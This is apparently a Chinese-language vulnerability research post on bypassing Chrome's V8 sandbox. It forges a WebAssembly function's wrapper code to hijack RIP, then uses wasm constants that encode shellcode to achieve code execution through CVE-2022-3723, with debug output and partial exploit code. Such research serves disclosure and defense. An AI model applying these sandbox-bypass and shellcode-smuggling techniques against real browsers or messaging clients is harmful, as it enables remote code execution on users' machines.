0x00 - 引言
2023 年 7 月 21 日,@5aelo 发布了一篇新的关于 v8 沙箱的公开讨论文档:函数指针封装。鉴于该绕过未来将会被 Chrome 封装指针修复,本文公开讨论如何利用 Function 的 native 指针绕过 Chrome 最新版 v8 沙箱。
关于 v8 沙箱的来源及其进展,我们可以参考之前的一些文档。这里仅简单列表。V8 Sandbox - High-Level Design 主要讲解了顶层的设计思路。V8 Sandbox - External Pointer Sandboxing 主要讨论了外部指针表的设计,如何实现内存安全的方式访问 V8 沙箱之外的对象。高版本的 Chrome 漏洞利用,v8 沙箱成为不得不考虑的缓解绕过。与以往类似,本文将深入讨论绕过思路和实现,并结合在野漏洞 CVE-2022-3723(issue1378239) 实现弹出计算器。目前该 issue 仍旧处于锁定状态。
0x01 - Function 对象
在撰写 exp 的时候,一般是从对象破坏到任意读写,最后到代码执行。v8 增加了沙箱后,基本思路应该是:
对象破坏 ->相对任意读写 ->绕过沙箱->代码执行
这里我们需要关注的就是从如何从相对任意读写到绕过沙箱。Javascript 中的函数对象,正好具备这个特征。Function 本身是一个对象,同时 Function 还可以实现执行代码。也就是说,它是对象到执行的一个桥梁。
如下是 Function 对象的数据结构:
<!-- 测试源码 -->
var wasmCode = new Uint8Array([0, 97, 115, 109, 1, 0, 0, 0, 1, 133, 128, 128, 128, 0, 1, 96, 0, 1, 127, 3, 130, 128, 128, 128, 0, 1, 0, 4, 132, 128, 128, 128, 0, 1, 112, 0, 0, 5, 131, 128, 128, 128, 0, 1, 0, 1, 6, 129, 128, 128, 128, 0, 0, 7, 145, 128, 128, 128, 0, 2, 6, 109, 101, 109, 111, 114, 121, 2, 0, 4, 109, 97, 105, 110, 0, 0, 10, 138, 128, 128, 128, 0, 1, 132, 128, 128, 128, 0, 0, 65, 42, 11]);
var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule);
var f = wasmInstance.exports.main;
%DebugPrint(f);
DebugPrint: 0x1f290011c161: [Function] in OldSpace
- map: 0x1f29001138b9 <Map[28](HOLEY_ELEMENTS)> [FastProperties]
- prototype: 0x1f2900104275 <JSFunction (sfi = 0x1f29000c8ef9)>
- elements: 0x1f2900000219 <FixedArray[0]> [HOLEY_ELEMENTS]
- function prototype: <no-prototype-slot>
- shared_info: 0x1f290011c135 <SharedFunctionInfo js-to-wasm::i>
- name: 0x1f2900002785 <String[1]: #0>
- builtin: JSToWasmWrapper
- formal_parameter_count: 0
- kind: NormalFunction
- context: 0x1f2900103c0d <NativeContext[281]>
- code: 0x1f2900303979 <Code BUILTIN JSToWasmWrapper>
- Wasm instance: 0x1f290011bf69 <Instance map = 0x1f290011a605>
hex 数据如下
0x1f290011c100 00000000 00040E40 00001E95 0011C0F1
0x1f290011c110 00303979 00000000 0011BF69 00000000
0x1f290011c120 000007D0 002B1A65 00000000 00000002
0x1f290011c130 00040E60 00000D8D 0011C109 00002785
0x1f290011c140 0000026D 0011BED1 00010000 00000000
0x1f290011c150 00000000 FFFFFFFF 0000031B 00000000
0x1f290011c160 001138B9 00000219 00000219 00057400
0x1f290011c170 0011C135 00103C0D 000C22F9 00000061
0x02 - RIP 劫持
0x1f290011c160是对象起始地址,0x1f290011C135是 shared_info 对象,我们查看该对象详情
0x1f290011c135: [SharedFunctionInfo] in OldSpace
- map: 0x1f2900000d8d <Map[44](SHARED_FUNCTION_INFO_TYPE)>
- name: 0x1f2900002785 <String[1]: #0>
- kind: NormalFunction
- syntax kind: AnonymousExpression
- function_map_index: 204
- formal_parameter_count: 0
- expected_nof_properties: 0
- language_mode: sloppy
- function_data: 0x1f290011c109 <Other heap object (WASM_EXPORTED_FUNCTION_DATA_TYPE)>
- code (from function_data): 0x1f2900303979 <Code BUILTIN JSToWasmWrapper>
…
…
从 SharedFunctionInfo 可以看到对象 function_data,地址是0x1f290011c109,然后解析该对象如下:
0x1f290011c109: [WasmExportedFunctionData] in OldSpace
- map: 0x1f2900001e95 <Map[44](WASM_EXPORTED_FUNCTION_DATA_TYPE)>
- internal: 0x1f290011c0f1 <Other heap object (WASM_INTERNAL_FUNCTION_TYPE)>
- wrapper_code: 0x1f2900303979 <Code BUILTIN JSToWasmWrapper>
- js_promise_flags: 0
虽然在解析的时候能很快看到0x1f2900303979,但在内存中可以看到,是倒序出现的。这个问题应该可以通过对布局的小技巧实现固定排序。这里需要讨论的便是 wrapper_code。
在最新版的 v8 中我们可以看到它是只读属性
(gdb) vmmap 0x1f2900303979
[ Legend: Code | Heap | Stack ]
Start End Offset Perm Path
0x00001f2900300000 0x00001f2900318000 0x0000000000000000 r--
不过没关系,我们可以伪造这个对象。如下是我们在最新版 Chrome115.0.5790.170 中的测试:
对象地址是 0x109900233314,我们修改地址为 0x10990023332C 处的数据为 0x002333B5,然后在 0x1099002333B4 处伪造对象,劫持 wasm 目标地址为 0x037557588B010。真实的 wasm 起始起始地址为 0x37557588B000。如上图所示,我们可以成功劫持 RIP 为 0x037557588B010,该处汇编为 0xCC,gdb 成功断下。
0x03 - issue1378239 绕过思路
issue1378239-CVE-2022-3723 影响 Chrome107.0.5304.62 及其之前的版本,为 2022 年捕获的在野漏洞,但至今该 Issue 仍未公开。在谷歌公开 poc 的基础上,我们很容易实现任意相对读写。顾虑到本文讨论的重点是绕过沙箱,这里不再赘述如何从 poc 到任意读写。
实现任意读写后,我们可以泄漏 wasm,客户端将泄漏的 wasm 地址发送到远端 server,同时请求 wasm。远端 server 接收到 wasm 地址后,立刻将 wasm 地址信息编译到 wasm 字节码并返回。由于我们可以劫持 RIP,这里精巧设计 wasm 代码,使漏洞劫持 RIP 到 wasm 中的错位字节码。具体细节如下所示:
var wasm_code = `
(module
(func $f (export "f") (param i64)
(call $f (i64.const 0x12EB9060B0C03148)) ;; 48 31 C0 B0 60 90 EB 12
(call $f (i64.const 0x0BEB9090008B4865)) ;; 65 48 8B 00 90 90 EB 0B
……
……
上述 wasm 代码编译后,在最新版 Chrome 内存中为 RWX 属性,不过在 107.0.5304.63 版本中为 RX 属性,我们可以控制的内容为 $f 函数的参数,这便足够我们执行任意代码。借助前两个字节 48 31,可以让我们调转到下一个可控字节码。如此,在这段 wasm 中,我们可以一遍执行等效汇编,一边跳转。逐步完成 VirtualProtect 调用和跳转到 Shellcode。具体设计细节可参考 github 中的公开代码。
0x04 - issue1378239 需要注意的部分
在撰写该 exp 时,发现在单独的 Context 环境中只能触发一次漏洞。于是该 exp 分成两步,先从一个 iframe 中触发信息泄漏,然后将该信息传递给 Server,接着 Server 将泄漏的信息写入另一个 html,客户端请求第二个 html 到本地的 iframe 中。由于两个 iframe 使用了相同的域名和端口,属于同一进程,其中泄漏的地址可以互相交叉使用。我们在第二个 iframe 中实现数组长度的修改,之后按照常规的任意读写,绕过 v8 沙箱实现沙箱内 RCE。具体 exp 细节参考 github。
视频演示
事实上,Chrome 近期安全的确在不停的改进。2023 年 pwn2own 中也没有出现 Chrome Full Chain。我们从在野的 poc 等也可观测到,其漏洞利用手法也越来越新颖,传统容易利用的类型混淆也逐渐被我们描述为品相极佳的漏洞。近年来 TheHole 和 UninitiallizeOddBall 等内置对象也在跟着不停改进。然而对抗一直是动态的,从表象上看也一直是平衡的。我们仍旧没有完全杜绝 PatchGap 在实际产品中的影响。
在研究 1day 和 nday 的过程中,实际上 Teams/Skype 等很多流行 IM,仍旧无法跟上 Chrome 的修复进度。而无独有偶的是,Skype 和 Teams 等 IM 的确加入了 v8 沙箱来缓解 1/nday 的威胁。
借助 Chrome 的 patch diff 或者谷歌给出的 poc,很大程度上降低了黑客复现漏洞和撰写 exp 的难度,这对共享相同组件的软件的确构成了很大威胁。如下是我们在研究在野 /1day/nday 过程中撰写的 Skype 的 exp。其他受影响软件的 patch Gap 这里不再赘述。
视频演示
https://github.com/numencyber/Vulnerability_PoC/tree/main/CVE-2022-3723
https://medium.com/@numencyberlabs/using-leaking-sentinel-value-to-bypass-the-latest-chrome-v8-hardenprotect-c4ed40e3d34f
https://medium.com/numen-cyber-labs/from-leaking-thehole-to-chrome-renderer-rce-183dcb6f3078
https://twitter.com/5aelo/status/1682405383896219649
https://docs.google.com/document/d/1CPs5PutbnmI-c5g7e_Td9CNGh5BvpLleKCqUnqmD82k/edit
https://docs.google.com/document/d/1V3sxltuFjjhp_6grGHgfqZNK57qfzGzme0QTk0IXDHk/edit
https://docs.google.com/presentation/d/1iDWDHuAZ8ee-dRF5Lkf0nwO2mkLdZG_YJEP1yPvJ09E/edit#slide=id.g19fd0c0660d_0_267
【免责声明】市场有风险,投资需谨慎。本文不构成投资建议,用户应考虑本文中的任何意见、观点或结论是否符合其特定状况。据此投资,责任自负。